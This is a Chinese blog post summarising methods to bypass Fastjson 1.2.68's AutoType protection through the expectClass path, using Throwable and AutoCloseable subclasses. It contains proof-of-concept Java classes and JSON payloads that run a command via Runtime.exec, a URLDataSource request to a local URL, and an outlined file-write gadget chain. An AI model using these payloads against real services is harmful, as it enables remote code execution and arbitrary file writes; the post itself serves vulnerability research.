zoukankan      html  css  js  c++  java
  • Fastjson1.2.68 绕Autotype的一点总结

    这篇文章主要总结学习目前网上关于1.2.68下绕过Autotype的一些方法用到的思路。

    前置知识:

    checkautotype因为是对要进行反序列化的类进行检测的方法

    所以我们只需要让其返回Class类型的实例即可

    一般会有以下几种情况通过验证:

    1.autoTypeCheckHandlers不为null,通过此种方式来返回class

    2.缓存mapping中的类:

    从一处取的,在二处返回

    其中在TypeUtils的addMappings中放入了一些基础类,也就是默认可以反序列化的相关类

     

    3.不在黑名单,但在白名单之中的类

    4.使用了jsonType注解的类

    5.@type反序列化时执行了expectclass,指定了期望类

    在判断为True时exceptclass不能为以下几种类型

    并且反序列化的类不能继承或者实现Classloader、DataSource、RowSet

    绕过方法1:

    那么如果没有开AutoType,并且如果存在expectclass,即使要反序列化的类不在白名单中,也可以进行加载不在黑名单中的某些满足条件的类

    第一种:

    通过Throwable.class

    import com.alibaba.fastjson.JSON;
    
    import java.io.IOException;
    
    public class testfj1268 extends Exception {
    
        private String domain;
        public testfj1268() {
            super();
        }
        public void setDomain(String domain) {
            this.domain = domain;
        }
        @Override
        public String getMessage() {
            try {
                Runtime.getRuntime().exec(new String[]{"cmd", "/c",domain});
            } catch (IOException e) {
                return e.getMessage();
            }
    
            return super.getMessage();
        }
    
        public static void main(String[] args) {
           String a = " {
    " +
                   "            "@type":"java.lang.Exception",
    " +
                   "                "@type": "testfj1268",
    " +
                   "                "domain": "calc"
    " +
                   "        }";
            JSON.parseObject(a);
        }
    }

    其中@type第一个类作为clazz(A),二个作为expectClass(B),这种绕过方式是因为Exception.class在parseConfig的mapping中,因此每到checkAutoType时就已经返回了clazz,那么接着为该类选择反序列化解析器,匹配到Throwable.class。

     接着在反序列化第一个type指定的类时,此时将该类作为exClass

     

    接着就能获取到要反序列化的类名exClassName传入checkAutoType,此时传入的第二个参数为Throable.class也为Exception.class的接口

    那么在checkAutoType中第二个type处的类名将作为要校验的类名,Throwable将作为期望类

    在这一步expectClassFlag置为True,此时只要反序列化的类不在黑名单中,即使不在白名单中,通过下图就能调用TypeUtils.loadClass进行加载

     并且又因为有接下来的1处和2处的限制,那么要找到jndi这种的类还得实现了Throwable接口的,就很难,这也是比较鸡肋的一点。

     返回clazz后,将通过createException实例化exClass,此时exClass就是返回的第二个type处的类,接着继续解析json将值放入otherValues,然后setvalue放入ex

    此时将通过反射为ex对象赋值,其中method在解析

    那么最终get的调用在完成赋值以后,将通过调用异常类的所有get方法包括接口以及自身定义的

    比如调用getMessage时的调用栈如下所示:

    绕过方法2:

     y4er师傅博客中写到通过找checkAutoType的调用,看哪里传入的expectClass不为null,那么再看其逻辑,那么下面四个框,只有第二和第四,第四个是绕过点1,那么第二个绕过点就是点1

     

     那么根据type指定的类在选择反序列化解析器时,AutoCloseable类使用的是else分支的javabeanDesearializer

    此时函数调用栈如下:

    那么因为AutoCloseable不在黑名单中并且其在mapping中,因此就可以返回clazz进行加载,因此通过它就能实现反序列化

    比如:

    import com.alibaba.fastjson.JSON;
    
    import java.io.IOException;
    
    public class testfj1268 implements AutoCloseable {
    
        private String domain;
        public testfj1268() {
            super();
        }
        public void setDomain(String domain) {
            this.domain = domain;
        }
    
        public String getDomain() throws IOException {
            System.out.println("tr1ple");
            Runtime.getRuntime().exec(domain);
            return domain;
        }
    
        public static void main(String[] args) {
           String a = " {
    " +
                   "            "@type":"java.lang.AutoCloseable",
    " +
                   "                "@type": "testfj1268",
    " +
                   "                "domain": "             calc      "
    " +
                   "        }";
            JSON.parseObject(a);
        }
    
        @Override
        public void close() throws Exception {
        }
    }

    为什么jndi的gadget不好找?因为常见的jndi的gadget都继承自 DataSource 和 RowSet,所以反序列化的类过不了对return clazz的最后的验证。

    浅蓝师傅还分享了另一个例子:

    import com.alibaba.fastjson.JSON;
    
    import javax.activation.DataSource;
    import javax.activation.URLDataSource;
    import javax.swing.*;
    import java.net.URL;
    
    public class testfj1 extends Exception {
    
        public testfj1() {
    
        }
    
        private DataSource dataSource;
    
        public DataSource getDataSource() {
            return dataSource;
        }
    
        public void setDataSource(URL url) {
            this.dataSource = new URLDataSource(url);
        }
    
        public static void main(String[] args) {
            String a = "{"@type":"java.lang.Exception","@type":"testfj1","dataSource":{"@type":"java.net.URL","val":"http://127.0.0.1:8090/exp"}}";
            JSON.parseObject(a);
        }
    }

    这个例子中setDataSource的入口参数需要通过@type来赋值,那么URL这个类是在白名单中的,所以能够正常赋值,然而在setDataSource中存在URLDataSource赋值给this.dataSource,那么这样赋值是不经过checkAutoType的逻辑的

    因为对于JSON.parseObject来说,在调用parse解析输入端json字符串为obj后,此时要调用一次toJSON转为JSONObject(此时已经完成了setter的调用赋值)

    那么在拿到testfj1这个类的成员变量以后,因此在JSON.toJSON中取得的反序列化的类testfj1的几个gettter的filed信息,包括从Throwable继承的4个getter和自身的getter共5个

     那么此时要放入到JSONObject中,那么对于其中的每个键和值都将put一次,那么对于其中的value,又要调用一次tojson(value)

    那么对于赋值给datasource的URLDataSource而言,也要走一次tojson,因此此时要调用URLDataSource的所有getter

    那么根据JavaBeanSerializer中的sortedGetters将循环放入map中,一共有五个filed(每个filedinfo都有一个getter与之对应),那么对应要调用其5个get方法获取其值(用反射来实现)

     

    那么对于inputStream,要调用URLDataSource的getInputStream

     那么在getInputStream中此时将触发请求

    此时的函数调用栈如下图所示:

     

    除了getInputStream,getContentType也能触发

     

    文件操作相关gadget:

    浅蓝师傅的文章中提到找文件操作相关的gadget的思路:

    1.通过set或构造方法指定文件路径的outputStream

    2.通过set或者构造方法能够传入字节数组,可以传入outputStream,并且存在write将传入的字节数组写入到传入的outputStream

    3.通过set get tostring能够调用flush完成数据写出

    比如:

    rmb122(学弟太强了)的例子,主要通过fastjson反序列化调用无参构造函数然赋值指定文件的outputStream,再找能够传入这个包含文件路径的stream的类,并能够传入字节数组,然后调用write向这个输出流写入字节数组的,他找的是

    java.util.zip.InflaterOutputStream,然后通过最外层的marshalOutputStream来调用write完成写入文件

     在parseobject解析到MarshalOutputStream后要反射通过构造器来实例化得到该类的对象,因此此时走到super(out),out中存储着inflaterOutputstream用来写数据

    在drain总将调用this.out.write来写数据

     

    而inflater中out就是fileoutstream,存储输出路径

     

    调用栈如下图所示:

    参考:

    https://b1ue.cn/archives/348.html

    https://b1ue.cn/archives/382.html

    https://y4er.com/post/fastjson-bypass-https://mp.weixin.qq.com/s?__biz=MzUzMjQyMDE3Ng==&mid=2247484413&idx=1&sn=1e6e6dc310896678a64807ee003c4965&chksm=fab2c0c2cdc549d43d21b91f435243661e00bf031aecdbbf5878522e4d03569f3981b2c8e6da&scene=126&sessionid=1597461507&key=1fa15854e5017e78c08db5d4c4c98468f36b29343ef1b65022a40e66f1c344e1cf8d55fd1996da1bca7dd78f1666a508c543e5aa920558e855b4538536162fb3a48c2e3d9a22c3abf40123baa437da55821ba7eff642bf588dee239317e2fbd9a46f89d17b44a50d68ebb463bc393638f9a7661ebde0356853fec50e007a1366&ascene=1&uin=MTcxNzgzMTQyMg%3D%3D&devicetype=Windows+10+x64&version=62090529&lang=zh_CN&exportkey=Ac60y0eMxnT1cqDwGjlpH5c%3D&pass_ticket=Ebbf7kHW%2F%2BiaFTbGKVvcjBwyIOOw3uJLI5JOzhcpgdsECH0q4pah%2B8PjR2AzBt5T-1268/

    https://rmb122.com/2020/06/12/fastjson-1-2-68-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-gadgets-%E6%8C%96%E6%8E%98%E7%AC%94%E8%AE%B0/

  • 相关阅读:
    python基础
    c# String ,String[] 和 List<String>之间的转换
    c#上位机与三菱PLC(FX3U)串口通讯
    Convert.ToInt32()和int.Parse()区别
    代码走查25条疑问
    前后端分离-django主机管理开发二
    前后端分离-django主机管理开发一
    django图书管理系统一
    力扣题目练习一
    ELK实战-kibana安装使用
  • 原文地址:https://www.cnblogs.com/tr1ple/p/13489260.html
Copyright © 2011-2022 走看看